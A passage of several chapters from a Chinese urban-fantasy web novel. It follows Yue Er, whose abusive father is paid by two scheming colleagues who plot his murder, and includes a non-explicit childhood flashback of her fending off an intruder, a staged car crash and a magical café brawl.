临走前,越莫管似是才想到边沁的要求,突然转身说道:“你们确定是法力部工作的吧?该不会盯着我女儿的岗位?”
他一双酒精催熟的红眼泡对准二人,犀利地扫视上下,竟叫那二人生出些慰藉来。
陆锁仁是这么想过,但越洱在异常事务处理司,就算罗成荒去求她老公公,把陆安插进去,陆也胜任不来。
“你得了吧,你女儿这位置,没法力干不了。都告诉你我们在法力部过得好好的,用不着觊觎她这种职位。”罗成荒回道,她受够了对这癞皮狗奴颜婢膝,事儿办成之前别撕破脸就成。
越莫管听到满意答复,忍着不伸手进裤兜摸那支录音笔,摆手笑得无畏,走了。
这下,他不仅能拿到罗陆的钱,还能拿到边沁那亲戚的钱。
越洱啊越洱,你真是爹的好女儿,没死在外边不说,有生之年还能给爹赚一笔。
就当你这不孝女提前给我养老钱了。
越莫管狂笑不止,引得路人频频侧目,这里是不眠市少有的暗区。
贫民窟,灯光几近于无,很久之后,他走进一家城市边缘的24小时便利店。
大大方方掏钱买了一提白酒:“拿你们店里最贵的!”
同一时间,谈判原地。罗成荒退缩了,她摸出一支烟咂上,踱来踱去:“调查组下来了,要是查到我老公和公公头上……”
陆锁仁靠着柱子,点击收款:“你这叫杞人忧天,他连调查处大门朝哪方开都不知道,也就吓唬你抬价。”
五万元到账。
罗成荒很烦躁地抓头发:“就他这种闹法,什么时候才奏效,现在法力部那些人都不稀罕看了。”
“那也得等越洱回来才有效果,”陆锁仁从手提包里摸出一支口红,拔开盖补妆,猩红的膏体碾碎在唇瓣上,她斜眼去看罗成荒:“免费附赠你一个要不要?”
罗成荒转头看她:“什么?口红?”
“不是,既然你花了钱,何不再趁机解解气?”
“到底什么意思?直说,我现在很烦。”
“我找人打一顿越莫管,嫁祸到越洱身上,到时候让她自己证明去。”
旋即她补充道:“这单不要钱,当我送你的。”
越洱家中,“等一下,打了没?”
劳山风点头道:“估计这会儿正在打呢,今天你刚回来。”
越洱掏出手机:“事已至此,来拍个合照吧。”
她调出相机自拍页面,几人凑入镜,中央是开了袋的各式零食,还摆了一张小狗和越洱以前的合照。
笑嘻嘻按下快门。
拍出来边沁不满意:“太远了,没那个氛围。”
说着她把越洱拉到身边,占了镜头中心,手机递给劳山风:“你脸小,你举。”
边锋不等安排,一个走位湊到越洱近旁:“准备了啊,1、2、3——”
一条胳膊搂上越洱肩头,热烘烘的脸蛋凑过来。
31.你小妞养我?
不得不说,越莫管挺会先发制人。
他是去找罗、陆二人加钱的,但就像菜市场买菜先挑刺再叫价,越莫管这一摔,碎裂的花瓶变成控诉罗、陆情报不准的一把枪。
“叔叔,我们好心给你机会,你别太过分。越洱工资哪儿会这么低,起码七八千。”
罗成荒话先出口,其实自己也不确定,她公公当时帮她进来,请了些人吃饭,都不建议她来异常事务处理司,说是“钱少事多”。
她于是空降去行政部当副组长,成了行政部最清闲的人,天天偷懒耍滑都有一万块拿,没想到异常事务处理司这么拉胯。
她和陆锁仁对视一眼,陆锁仁更是不晓得法力部内部工资,她们承诺给越莫管的17万,也不过先骗他整越洱,钱从哪儿来还不知道呢。
反正罗成荒说先让这毒爹搞定越洱,再找人搞掉越莫管,根本不用真给钱。
陆锁仁脚踩一双蛇皮高跟鞋,脚侧轻轻拨开花瓶碎片,抱臂冷笑道:“谁跟你说的你女儿一个月只有4000块?”
越莫管自是不可能透露和边沁那边的交易,大喇喇坐上一把太师椅:“别跟老子废话!越洱还欠着一大把外债,我比你清楚,你俩要么加钱,要么我去找你们上司。”
罗成荒急得脸发白,她可是真在法力部上班的,她公公这些年又退休了,能帮她进来,可帮不了她长久待下去。
就像在私立学校招生办那次,越洱说对了,她这关系户关系也不怎么牢靠,只比越洱她们多苟了两个月,就被学校找理由踢出来了。
公公势力只会一天天衰微,她老公又没本事,法力部已经是她能够上的最高去处了。
她在行政部偷奸耍滑,那些人晓得她空降来的,还不敢多加置喙。
但要是被越莫管这泼皮无赖去上级面前闹几番,想必要玉皇大帝亲自下凡保她才能留住工作了。
她公婆对她愈加不满,老公也千求万请才回一趟家,现在不是她拿乔得势的时候。
罗成荒换上笑皮,靠近道:“叔叔,您别急,钱都好商量。您别忘了,我公公是谁,都好说的。”
越莫管听此,更是心拿把掐,回想起那小妮子在停云阁说的:“市长儿媳妇怎么可能没钱,指定是坑您来着,太过分了!”
他当即道:“少给我好说好说的,要么50万……”
越莫管眼神上下逡巡过罗成荒身子,满是白苔的舌头舔过门牙:“要么,你小妞给我养老。”
罗成荒气得浑身发抖:“我凭什么养你!”
越莫管讥笑一声,操着粗嘎的声音平静道:“就凭你是市长女儿,要不我去找你公公,让他养我?”
“你……”
“你什么你,你晓得现在上面有督察组下来调查吧?市长的好儿媳竟然跟我这种癞瓜交易,你说,督察组爱不爱听?”
陆锁仁按住跳上前的罗成荒:“你也不怕高跟鞋崴了脚。”
随即她冷冷看一眼越莫管,说要和罗成荒单独商量一下。
二人绕到稍远处柱子背后窃窃私语,正巧和边沁、劳山风蹲守之地很近。
听到这儿,边锋心潮澎湃,很是可惜地拍腿:“哎呀,怎么就不等我回来一起行动,这么刺激。”
他一脸八卦,问:“你们听到啥了?”
劳山风最近沉稳很多,竟不再呛边锋几句,他直接回道:“陆锁仁说反正也要杀掉越莫管,他要什么数答应他呗,又不是真给。”
边沁道:“罗成荒这才告诉她,能不能整死越莫管还不一定呢,现在雇专业杀手可太贵了。”
陆锁仁:“那你之前还敢答应他17万,我丑话说在前头,我手里最多5万哈,全部身家了,还是借来的。”
罗成荒:“我知道,所以不敢答应太多,要是不得不给他的话,我凑剩下那12万。”
陆锁仁:“你哪儿来那么多钱?”
罗成荒就不说话了。
憋了半天,罗才开口道:“你少管,我能凑出来就行,现在他狮子大开口,怎么办?”
却听陆锁仁说:“你那12万给我,我来杀。”
……
“这陆锁仁比罗成荒狠啊,她有法力吗?”越洱问。
“没法力,不知道想怎么搞,总之不会她自己动手,她瘦得只剩一把骨头了。”
“接着呢?”
“罗成荒也没想到陆这么疯吧,她回过味开始讲价。”
罗:“你也是为了溜哥报仇,不是为了我,你知道我老公那边靠不住。”
陆锁仁打断她:“确实是为他报仇,但不也正合你意吗?越洱出了法力部,又欠一屁股债,一辈子再找不到比这里更好的工作,你高枕无忧放心往上爬。不会有人再揭露你以前的事……”
罗:“越洱要是想整我,早就全透给法力部了,况且她空口无凭,没人会信。”
陆锁仁不耐烦了,咂咂嘴道:“那你到底想不想整?杀人要担风险的,你那12万本来不是给越莫管就是给杀手,找杀手又不够。现在我说我解决,你还纠结什么?怎么,同样是杀人,你找的杀手值钱,我找的不值钱?”
罗成荒眼神也冷下来:“我怎么知道你找的什么杀手,别搞些瘪三来,害了你也暴露了我。”
这时,太师椅那边,越莫管催促不断:“商量个飞机,你俩行不行?不行别耽误老子喝酒!”
“所以她俩达成共识了吗?”边锋又想听细节,又忍不住问结果。
边沁道:“口头达成了吧,罗让步了,陆逼她当场转了5万块当定金。”
“可真敢,直接手机转呐?真不怕查到她俩身上。”
劳山风放下手心一大把磕出来的瓜子皮:“反正她们这联盟本来也不牢固,抓到其中一个的话,被抓的必然会出动供出另一个,没必要故意隐藏来往痕迹。对她们来说,重要的是,一个也别被怀疑。倒霉被抓了必须拖对方下水。”
“这罗够恨你的哈,溜金抱的小情人还没她出钱多。按理说,不该是陆锁仁更想搞掉你吗?”
越洱惨淡一笑:“真是想不到,越打工越受‘欢迎’。现在身价都高起来了。”
劳山风绷不住笑了,边锋抱着膝盖,扯扯嘴角,很深地望向越洱。
越洱自己也在笑,没心没肺的样子。
总之,转完
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定金,罗、陆二人在越莫管的催促中回到太师椅前,答应给他50万酬金。
越莫管这次想起来要定金了,但是陆锁仁说,下回见面拿现金。
临走前,越莫管似是才想到边沁的要求,突然转身说道:“你们确定是法力部工作的吧?该不会盯着我女儿的岗位?”
他一双酒精催熟的红眼泡对准二人,犀利地扫视上下,竟叫那二人生出些慰藉来。
陆锁仁是这么想过,但越洱在异常事务处理司,就算罗成荒去求她老公公,把陆安插进去,陆也胜任不来。
“你得了吧,你女儿这位置,没法力干不了。都告诉你我们在法力部过得好好的,用不着觊觎她这种职位。”罗成荒回道,她受够了对这癞皮狗奴颜婢膝,事儿办成之前别撕破脸就成。
越莫管听到满意答复,忍着不伸手进裤兜摸那支录音笔,摆手笑得无畏,走了。
这下,他不仅能拿到罗陆的钱,还能拿到边沁那亲戚的钱。
越洱啊越洱,你真是爹的好女儿,没死在外边不说,有生之年还能给爹赚一笔。
就当你这不孝女提前给我养老钱了。
越莫管狂笑不止,引得路人频频侧目,这里是不眠市少有的暗区。
贫民窟,灯光几近于无,很久之后,他走进一家城市边缘的24小时便利店。
大大方方掏钱买了一提白酒:“拿你们店里最贵的!”
同一时间,谈判原地。罗成荒退缩了,她摸出一支烟咂上,踱来踱去:“调查组下来了,要是查到我老公和公公头上……”
陆锁仁靠着柱子,点击收款:“你这叫杞人忧天,他连调查处大门朝哪方开都不知道,也就吓唬你抬价。”
五万元到账。
罗成荒很烦躁地抓头发:“就他这种闹法,什么时候才奏效,现在法力部那些人都不稀罕看了。”
“那也得等越洱回来才有效果,”陆锁仁从手提包里摸出一支口红,拔开盖补妆,猩红的膏体碾碎在唇瓣上,她斜眼去看罗成荒:“免费附赠你一个要不要?”
罗成荒转头看她:“什么?口红?”
“不是,既然你花了钱,何不再趁机解解气?”
“到底什么意思?直说,我现在很烦。”
“我找人打一顿越莫管,嫁祸到越洱身上,到时候让她自己证明去。”
旋即她补充道:“这单不要钱,当我送你的。”
越洱家中,“等一下,打了没?”
劳山风点头道:“估计这会儿正在打呢,今天你刚回来。”
越洱掏出手机:“事已至此,来拍个合照吧。”
她调出相机自拍页面,几人凑入镜,中央是开了袋的各式零食,还摆了一张小狗和越洱以前的合照。
笑嘻嘻按下快门。
拍出来边沁不满意:“太远了,没那个氛围。”
说着她把越洱拉到身边,占了镜头中心,手机递给劳山风:“你脸小,你举。”
边锋不等安排,一个走位湊到越洱近旁:“准备了啊,1、2、3——”
一条胳膊搂上越洱肩头,热烘烘的脸蛋凑过来。
32.你俩地下恋?
边沁透过手机自拍镜头,看到边锋很不要脸地黏上越洱,像一只大号史莱姆,她忍耐到劳山风按下快门,满眼嫌弃转头去看哥哥。
目击越洱送出一记肘击,狠狠怼到边锋腰侧。
边锋痛呼,手还虚搭在越洱脖颈后,却听边沁嫌恶道:“什么鬼?两位在搞地下恋呐?”
越洱忙耸肩彻底甩开边锋手臂,连连摆手道:“不搞不搞,山风,看看照片。”
劳山风点开相册,滑动两下,“噗”地笑了。
一共按了三次快门,最新的一张,边锋搭肩、越洱肘击;边沁侧脸斜视他俩,嘴角是受不了的扭动曲线;劳山风做事单线程,一旦顾着按快门就顾不上表情管理、一脸憨像。
一张照片可谓各做各的,边沁和越洱接过手机,扫一眼就绷不住哈哈大笑。
这张合照本是越洱用来当不在场证明的,既然罗成荒和陆锁仁要对付她,她得提前准备准备。
生动的照片是意外之喜。她笑罢,不经意瞥向边锋,见他也笑盈盈看着她。
不禁想起边沁的“地下恋”调侃,瞬间脸红耳热,怎么他妈的就这么快?
边锋太快突破她的社交距离防线,一回头,手也拉了,虽然是大水中为了出逃;抱也抱了,哪怕是以取暖的名义。
一种危险的预感在脑中打铃,这些不正常,对于她不正常,对于他们之间“同事”、“朋友”这层关系,也不正常。
一丝笑也从越洱脸上消融,能给她提醒的、能把控分寸的,只有她自己。
手机转到边锋手上,他修长的手指划拉着放大又缩小,缩小又放大,反反复复看照片。
忽地一条讯息弹出:【安心银行,你的账户1323于4月4日入账工资(工资),人民币14000.00元,余额14044.44元】
边锋怔愣一秒,把手机递给越洱,笑道:“兄弟姊妹们,工资到了。”
边沁“耶”地跳起来去够手机,劳山风气定神闲喝着茶。
越洱握着手机细看短信,妈呀,及时雨,卡里剩44块了,差点过不下去。
这是她全部身家,18岁那年,越莫管和骆钰拿她身份去贷款,晓之以情动之以理,说要替外婆盖个小房子养老。
她爹妈早成了失信人,借不出钱,越洱也还小,看似18岁算成年了,其实很多事没想明白,对人性存在期待。
那时外婆,对她最好的外婆,她半推半就同意了,没过几个月,越莫管和骆钰远走高飞,房子是没有的,债是背上的。
越洱不歇脚地工作了近十年,去年底才还清一切银行债、亲戚债、高利贷。
她联想到边锋看到这条讯息的第一反应,只觉得窘迫,他看到了总的余额。
越洱不希望他认为今天自己请大家吃饭是“打肿脸充胖子”,支付宝还有一些余钱,自己请客是为了感谢劳山风和边沁的帮忙,虽然不算什么贵的。
随即她又自暴自弃般想到:算了吧,边锋怎么认为都可以,都不关她的事。
要攒钱,好不容易走到今天,收入不用再填补进债务窟窿,以后的每一笔钱都要好好珍惜使用,给自己构筑更安心的生活。
要攒钱……一种数学考试即将到来之时的焦虑笼罩了她,不是因为攒钱,而是因为“现在不是该这样的时候”。
她和边锋,不是顺其自然那么简单,边锋可以顺其自然,他有家底,想必过去的职业中他也攒出了自己的底气。
他可以顺其自然地接触喜欢的人、恋爱。
可自己呢?她越洱有什么?
穷得叮当响,若不是法力部“收留”,她就是吃了上顿愁下顿,还了今月苦下月。
这种时候、自己这种人,真的适合考虑感情吗?
法力部试用期还没通过,6月要是被劝退,那该何去何从?
……
有太多要考虑,眼前找来闹事的越莫管是她的隐痛。
越洱可以犟嘴说:“我和越莫管不共戴天,根本不是一类人。”
但她心里清楚,血脉永远无法割席,断亲断联只是眼不见为净。越莫管找上门了,大家都看见了,她有个怎么样的爹。
他们善解人意地改动称呼,不说“你爹”,只说“那越莫管”,好似在说一个无关的人。
只是越洱每听一句,都不免心惊肉跳,好像被扒开陈年的疮疤,回到那个又冷又臭的小镇,走不出上锁的房门。
不该这样,不是这样的时候。
山风和边沁在聊天,边锋在低头划拉自己手机。
这在眼前,却不似她的生活。
她的生活,好像就该和小狗一起,单位出租屋两点一线,忙到回家倒头就睡。
“越洱想什么呢?”劳山风忽然看这边。
“啊,我在想接下来怎么办?”
“你放心好了,既然委托给我,我一定给解决。”
越洱望着他笑融融的眉眼,忽然觉得很像一个人,像谁呢,眼熟但又不近的一个人……
福至心灵般,越洱道:“山风,如果过不了试用期,你们事务所还需要人手吗?我什么都可以干。”
劳山风略有惊讶:“怎么现在就开始想退路啦?别担心,我看你能留下来。”
“害……不知道怎么说,感觉不太妙。”
肩膀被戳了戳,越洱回头,边锋看着她眼睛道:“我们会留下来的,你做得很好。”
“……”
越洱窝回沙发坐下,以往每一份工作,她都认真对待、全力以赴,可这有什么用。
她慢慢才明白,认真不是都有用的,该走照样走。
那些开了她的人,不在意她付出多少努力,甚至不在意她能产出多少结果。他们在意的,是她能带来多少资源。
辛苦打工这么些年,其间社保断了很多次,她无暇顾及,还债都不够,怎么再补社保?
越莫管这件事还没完,如果能用法力打击,该多好。
对于修真者的管理,比前些年严格不少。
越洱刚有法力那年,还时常越莫管毒打,因为老师告诉她:修真者如果利用法力对普通人进行倾轧,就是自断后路,不会再有大学收留、仙门也是万万进不去的。
那时仙门那么遥远,根本不敢想,但是她想上大学。
有力气的时候,她就跑,跑不掉,她就拿家里东西挡。
拳头落下来脸上,她不甘心,她闭着眼乱挥拳还击。
没力气的时候,她就蜷缩着护好头,闷声挨打。
每个人都知道,但是没有人能
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救她。
骆钰每天出去厮混,她只管弟弟。
爷爷奶奶只当没越洱这个人,他们只管弟弟。
外婆太老了,她不敢告诉外婆,世上唯一还对她好的人。
况且让一个80岁的瘦小老人来保护她吗?
无数次,她想干脆杀了越莫管,灵力叫嚣着要冲出头皮,可是一纸录取通知书,成了越洱的定身符。
她不敢赌,每个灵力觉醒的社会人,都登记在册。
只要此人在上学、在上班,就不会漏过,一切在法力部的监督之下。
修真者好像一个个风筝,看似自由,天空无边无际任翱翔;实则他们自己明白,身上拴着一根透明的线。
有一回终于越洱不愿再忍,她趴在水泥地板上,鼻血被打出来。
悍劲的灵力冲出束缚,在她指尖流转,失控的心绪将灵力染成猩红色、红得就连越莫管这种凡人都看清了。
他登时酒醒,抖着腿给越洱下跪。
灵力没有打在他身上,越洱终于明白,有些东西只需要摆在台面就足以威慑。效果甚至好于直接出击,至少自己代价小一些——那年她15岁。
12岁觉醒的灵力,三年后又一次保护了她。
第一次,是12岁夏天。
越洱转学到不眠市郊区小学两年了,外公外婆、爷爷奶奶都健在。
但越莫管和骆钰坚持带她从老家出来,到新小学附近租房,不是为了给她更好的教育,是为了榨去两边老人的扶持金。
那些“给越洱交学费”、“给越洱买衣服”、“给越洱做好吃的”……几乎全进了她的赌鬼爹妈兜里。
骆钰也染上赌瘾,还记得最初她哭着让越莫管“回头”,“我相信你能戒掉”。
都变成了后来的“我戒给你看,我做到你就要做到”、“女儿,妈妈今天没吃饭,上回阿婆是不是给你50块?”。
于是郊区小学的窄小出租屋里,时常只有越洱一个人。
她也乐得清闲自在,没人管,意味着没人喝酒后打她、没人成天吵架摔门。
12岁暑假的午后,她穿着一套棉质的白色短睡衣裤,洗了不知多少次,肥皂加阳光共同帮忙,穿上身香香的、也有些硬。
但总归好。
一个老式风扇“嘎吱嘎吱”对着凉席上的小小身子吹动。
被细汗濡湿的的头发沾了几根在额前、在脸颊边。
越洱半梦半醒地睡着,隐约间闻到一丝怪异的气息。
陌生、不属于这个家,腥而重的……烟气?
摇头的风扇响了,风没送到她脊背上,反而送来一阵臭的热气。
小腿肚传来一阵痒意,越洱猛然惊醒,小身板弹坐跳起。
脑子还没醒,她看见,一个高大壮硕、满身颓靡的陌生中年男人,叼着烟,站在凉席床边。
巨大的恐惧压得她喘不过气,她像一只被扯掉声带、扼住脖子的鹅。
男人笑了,大拇指和食指捏了嘴边的半根烟,烟灰跳下,落下凉席。
“姑娘,又是自己在家啊?”
越洱死死贴着墙壁:“不……不是。”
那男人又笑了,他把烟头扔到水泥地板上,抬脚碾碎。
“可我看了,只有你啊。”
33.好孩子,别怕。
“……”
炎热的午后,太阳透过没贴好的窗纸,烘烤进洗到发白的枕头。
屋内只有陌生男人的擤鼻声,越洱目光穿过房门,看向被反锁的进厅门。
那男的嘲讽般看她一眼,从裤兜掏出一串钥匙,掂了掂:“你爸让我过来休息的,都是兄弟朋友,别怕。”
越洱看着他膝盖一点点朝床缘靠近,知觉慢慢回到身子。
这个时间,楼里上班的上班、得闲的都去公园下棋聊天、买冰棍,那些上上下下的脚步踢踏声,以往她很烦,现在却求不得。
她强装镇定,道:“叔叔,叔叔是吧?你来的正巧,我爷爷奶奶送凉面过来,马上到了,你和我们一起吃吧。”
越洱脑中飞速转动,看那男人面色一僵,若有所思般停住。
她心如鼓锤,再想不到其他法门。她腿脚脱力,紧紧抱在身前,麻得动弹不得。
那张脸背对客厅,对着房间的小窗,却好似能吞没每一丝亮光,阳光在他粗糙的皮肤上站不住脚。
他嘴唇又紫又干又白,满口烟熏茶泡的黄牙,缓缓吐出的字却个个淬毒:“哈,你唬我呢,你爹妈带爷爷奶奶去海边旅游了。”
冰凉的针扎进越洱肺腑,一双眼猛地瞪大。
床很高,男人右膝已经跪上床缘:“别怕,别怕,只要你乖……”
“嘭!”一尊Q版弥勒佛样貌的小花盆,栽了多肉,砸在男人颧骨。
“嘶——”小花盆碎了,弥勒佛的笑脸摔成几瓣,滚落在凉席和地板。
不知是否错觉,越洱指尖虽又抖又麻,但她感到掷出花盆的力道不小,甚至不是自己平时的实力。
她慌忙起身,越过男人下床。
男人痛得一脸皱,越洱跨下床一步。那只捂脸的手、焦黄的手指,反手抓住了她衣摆。
她终于尖叫出声,猛然挣脱,冲向门边。
门是反锁的,向内的插销上挂着一把锁,锁按死了。
男人咒骂着几步追出,他步子不急,似是笃定越洱跑不脱。
越洱冲进门边小厨房,厨房没有单独的门,她抽出家里唯一的菜刀。
墙上挂着绑麻袋的塑料绳,她一把扯下,大脑一片空白,左手拼命把刀柄缠绕在右手上。
手不是她的了。
那个比她高不知多少的男人,一伸手甚至能摸到客厅的老灯泡。
他近了,越洱顾不上检查有没有栓紧,只能死死握紧菜刀,抢先回到门边。
男人好笑地看着她,眼神好似在戏弄蚂蚁。
“你不乖,叔叔的脸,你想好怎么赔?”
越洱双手握刀,指向他胸膛。
她不知道下一步怎么做,更不敢想他下一步会干嘛。
她光着脚的脚后跟,尽力去拍打铁门,妄图外头有人走过听见。
可是柔软的肉缓和了力道,铁门只是轻轻鼓动,像有人在里面缓慢按动一块铁皮,声音微弱。
男人颧骨还挂彩,半边脸肿高,他不是怕越洱这种黄毛小丫头,但刚才砸在脸上那花盆的力道,让他心有余悸。
他看到越洱手上勒很深的塑料绳,绑着指掌和刀柄,皮肉紫白,那双眼睛像受惊的小兽警惕盯着他。
他冷笑一声,撩开背后,皮带上夹带着一根伸缩的甩棍。
“啪嗒”,清脆的声音,甩棍甩开、伸展,可以品尝到美味恐惧的声音。
突然,男人偏头细听,有小孩蹦蹦跳跳下楼。
下一秒,在越洱喊出“救命”之前,铁门“咚咚咚”敲响。
孩子脆生生的声音传来:“有人在家吗?开门!吃哈密瓜!”
越洱靠着门,手不敢放下菜刀,眼不敢离开男人:“有人!我在家!”
“咚咚咚”,又敲了。
“那你开门呀,我手抬酸了。”
男人暗骂一声,冲上前要制止越洱。越洱疯了般挥刀乱砍,不让他近身,大喊:“报警!找大人报警!救命!”
门外塑料的拖鞋,嗒嗒嗒跑开。
越洱心跳混乱,有一个小女孩的声音响彻楼道:“爸!妈!快下来,有坏人!”
那男人差点被飞砍的菜刀割到,听此赶忙折回房间,一脚破开窗,逃窜跳下。
越洱家租住的二楼,楼下是炸货店,有个铁皮雨棚。
刺耳的铁皮冲击声,随后是落地闷响。
那男人逃了,门外的小女孩还在尖叫。
越洱抵着门站在原地,手抖如筛糠。
她感到嘴很干,像渴死了一回,试着扯那那把锁。
越洱对门外喊:“你快去找你爸妈,锁好门!坏人跳窗了,小心他来找你!”
“你等着!已经报警了,别怕!”
后来,警察来了,男人没再返回。
他们联络了在海边旅行的越莫管和骆钰,一家子大包小包回来了。
爹,妈,爷爷,奶奶,弟弟。
越莫管怨怼地看瞪视越洱,越洱面如死灰,低头盯向妈妈的脚。
一双罗马凉鞋,书店门口杂志上那种,朱红色的指甲油。
好看,真好看。
妈妈抱着弟弟,一句话也没有。
越洱12岁的夏天,在派出所冰凉的座椅上,她听到爹说:
“是是,都怨我太不小心了……”
“好好,那就是一个朋友,只说来家里歇息歇息,我就把钥匙给了他,害,这事闹的……”
夏日的蝉鸣中,有人握住她冰凉的手,一点点解开勒进她掌中的塑料绳,小心取下了菜刀。
“哎呀,手都勒青了,你很害怕吧?”
她抬起眼,深褐色眼珠麻木地望向那张年轻面庞,属于一个年轻的短发女警察。
女警察鼻尖有一颗细小的红痣,随着她讲话微微晃动,好像针扎进又带出的一滴血。
她双手揉着越洱冰凉的右掌:“好孩子,你真勇敢,你保护了自己……”
阻断的血液冲向开放的指尖血管,越洱手很麻。
女警柔软掌心的热度熨帖到她小手中,她对着她的脸,毫无形象地哭嚎起来。
12岁的越洱,就是那天夜晚,发现了异乎寻常的法力。
*
27岁的越洱,坐在租来的房子中间,120块的二手沙发跟着她搬了一个又一个家。
她听见劳山风说:你会留下来的;
她看到边锋望着她:我们会留下来的。
14000块,比她以前到手最高的工资还要多很多。
可以带小狗去买很多很多肉干和香肠,可以晚上多吹几小时风扇。
可以放心约包子吃饭,不用提前担心钱不够,不用在包子说“我来我来”时只好静静站在旁边。
可以从今天开始就一点一滴存钱。
她不够好,但是生活在变好。
越洱还是不死心地补充一句:“真的,山风,真有那天,我什么脏活累活都
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能干!”
劳山风笑了,冲她点点头。
边锋本想说:那我也去事务所。
可他想到,6月转正考核时,如若真是出意外,他能追随越洱吗?
他不能,他一定要转正,否则这次来法力部就毫无意义。
否则以后不会再有机会进法力部内部调查。
山风回家了,边沁也得回去换衣服,明天上班。
“越姐,你去我家睡吧,万一这几天越莫管找上门呢。”
越洱摇头道:“他不会的,该来的也躲不掉。”
“那、那,要不我哥哥守在这儿?有个帮手。”
边锋忙举手称是,却听越洱笑着说:“你们都回家休息,边锋送你回去吧,我担心路上……越莫管见过你了。”
边锋道:“你和我一起送边沁回去,现在最好别一个人。”
“别忘了我有法力……”
“那怎么了,别忘了雇佣杀手也有法力。”
“……”
黑市上,找个修真的杀手不难。
这些修真者,有的常年在法力部通缉榜上,来去无踪、无所屌谓;有的专修魔道,早已断开踪丝,法力部能奈何?
只有需要正常工作生活的修真者,才处处受制。
越洱也不会盲目自信到以为自己能敌过这些神秘“来客”。
看来小狗在包子那里最安全,她不再纠结,锁上门和边家兄妹出去了。
夜晚九点,外头还很热闹,支起的塑料伞和宵夜摊,吊着一盏盏灯火。
半空中偶尔低低略过鸟人巡逻者,他们仨扫码开共享单车。
没人想飞,也不想闪现,不想坐地铁。
温和的夜,舍不得错过晚风。
一人一辆单车,边锋朝天上的鸟人招手,只有身边二人听见他说:“都说鸟是直肠子,幸好鸟人不是。”
边沁:“……”
越洱:“……”
一段长长的下坡路,空空荡荡,柏油道上铺满蓝花楹掉落的紫蓝色花瓣,在暗夜里,整条道路好似深海里蛰伏的蓝环怪鱼皮。
他们骑着车往下冲,越洱放开了手,由缓坡带着车和她滑下去。
边沁叫喳喳地张开双腿,也放开左手,右手招展在风中:“呜哇~哇!”
只有边锋,牢牢抓着单车把手,还一脸视死如归,仿佛怕单车冲快了带翻他。
在边沁铃铛般的笑声中,边锋喊道:“你们懂不懂道路交通安全?死老表!非主流!”
“哈哈哈哈哈哈——”
边沁到了,脚撑着地回转看他:“胆小鬼,这里封闭的,不敢就说不敢,略略略。”
停在一排蓝花楹树下,越洱抱着手臂笑看边锋。
看他规规矩矩半捏着手刹,慢到单车歪歪扭扭差点平衡不了。
越洱转头对边沁说:“看吧,我就说别担心你哥哥,他可爱惜生命了。”
边沁笑得要死,只听边锋越来越近的声音喊道:“你俩说我什么坏话呢?当心我告交警了哈。”
“没什么,说你肯定能活到二百岁。”
最后这一截平路,边锋脚蹬得飞起,冲向妹妹,作势要车毁人亡。
边沁烦得叫一嗓子,好像一只炸毛的猫。
车速果然降下来:“好了,推车上去吧。”
……
封闭道路,滑下来纯玩的。
月光下,三个苦哈哈的身影又推着车上了道。
34.自导自演的车祸
西山别墅区,一辆绿色跑车闪灵般奔出。
罗成荒转出7万以后,她女儿“小柚子”4岁,幼儿园正在催校服费,网贷催债电话也响个不休。
必须搞点钱应急。
阴雨绵绵,开阔大道边一排排棕榈树簌簌后退。
引擎轰鸣,车里震响,循环播放着梦枚岭乐队的新曲“EXIST”。
今天公婆带着“小柚子”去参加同乡退休聚会。
她公公已经退休三年,时不常会有一些后辈提礼物到家里,要么一群以前有头有脸、现在退休下来的同乡们组织聚会。
她也乐得清闲,几年前“小柚子”刚出生,没人帮带,她还在月子里,上面流泪、中间流奶、下面淌血。
“小柚子”满一岁的第二天,她在家族群里发消息:
【爸妈、老公,我身累心累,没一个人帮我,所以如果有天我抱着柚柚跳下去,也请你们别怪我。】
随即罗成荒抱起女儿,打车到最近的一栋购物中心,到了六层——重新装修中、无人监管。
她再次掏出手机发送定位,配一张从窗台俯视楼下车水马龙的照片,女儿柚柚的小脚丫也入了镜。
一家子报了警,慌忙赶来,当天网络上也流传着很多目击者拍摄的
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照片、视频。
随后,她和女儿被救下窗台,网络上照片视频了无痕迹,她公婆也参与到育儿当中并请了保姆。
她终于半解脱了。
老公还是那样,从一周回家一次,到如今一个月一两次。
不过今天,这样正好,方便她行动。
跑车在开阔的柏油大道上奔驰,她脑中浏览回放着老公和新女人撩情的聊天记录。
“EXIST”歌词滚动在智能屏上,激越的鼓点震耳欲聋。
“磅!”
黄灯跳成红灯,岔路口,绿色跑车撞上了垂直方向驶来的白色越野。
35.精致小边
精致小边心满意足挪了窝,贱嗖嗖又盯上越洱那杯饮品。
边锋刚把眼光从饮料挪向越洱,二人方一对视上,就听越洱自暴自弃般道:
“喝吧孩子,别客气。”
边锋这时候反而闹上脸红,不自然地皱皱鼻子,端起越洱的杯子,在她喝过那对面,沿边抿了一小口。
“好喝,要不要尝尝我的?”
越洱还未回话,先注意到了对面边沁抬手捂嘴的样子。
“……”
“二位……”
边沁眼里从震惊转为调侃坏笑。
放下手笑说:“可以理解可以理解,哈哈哈。”
边锋白她一眼:“喝口你的?”
边沁忙虚捂住杯子,看边锋手有伸过来的动向,她一把抓起杯子,咕嘟一口干完了。
“哈——嗝。”
鉴于边沁小姐姐点的是薄荷气泡水,打嗝不止,越洱一边递纸一边调侃道:“可以理解。”
三人在伴随着乐队的演奏,从东聊到西,聊得嘴发干,饮料也喝空了。
这时,二楼上来几个人,如石子入水,“卟嘟”一声,过了楼梯口的结界。
三女二男,背着画板,还有两个牛仔裤上颜料都干了。
他们坐在另一角的苹果树下,桌子够大,也是个看乐队演奏的好视角。
精灵乐队很有眼力见,立时换了更欢快的曲子,衬人多的场合。
暗红长裙的女士甚至变出一台架子鼓来,手一顺裙摆,坐下就是打;拉拉小提琴的也换把贝斯背上,开弹;
登时,平静夜空充斥着摇滚燥热的曲子。
越洱开口对两兄妹说:“咱们回去了不?”
鼓点盖过她声音,边沁也疑惑皱眉看着她。
越洱刚大声说出:“回去——”
话音未落,一道飞影打来 。
边锋坐在外侧,迅速抬手臂挡掉飞影。
“当心!”
飞影转速极高,边锋手肘击中,骨头都撞得大响一声。
四块画板甩出,朝他们高速飞来。
三人立时蹲身,急唤武器,边沁两手化作铁拳,左拳又化为盾牌,堪堪弹飞近身的画板,铁盾挡在三人面前。
越洱飞钳出动,两钳越过铁盾直取那五人桌子,一钳冲着身后防御偷袭。
那五人本还安逸坐着,见状飞速跳开闪避。
花衬衫猛男遭巨钳一击,瞬间碎成千百块石头,石头炸上天,下雨般掉下来。
边锋甩鞭旋转着抵挡一阵,但还是漏下两块石头,差点打在边沁背上。
边沁暗骂一声,飞击的右拳化成铁皮天棚挡在上方,石块掉落,砸在铁碰上,嘈杂难听。
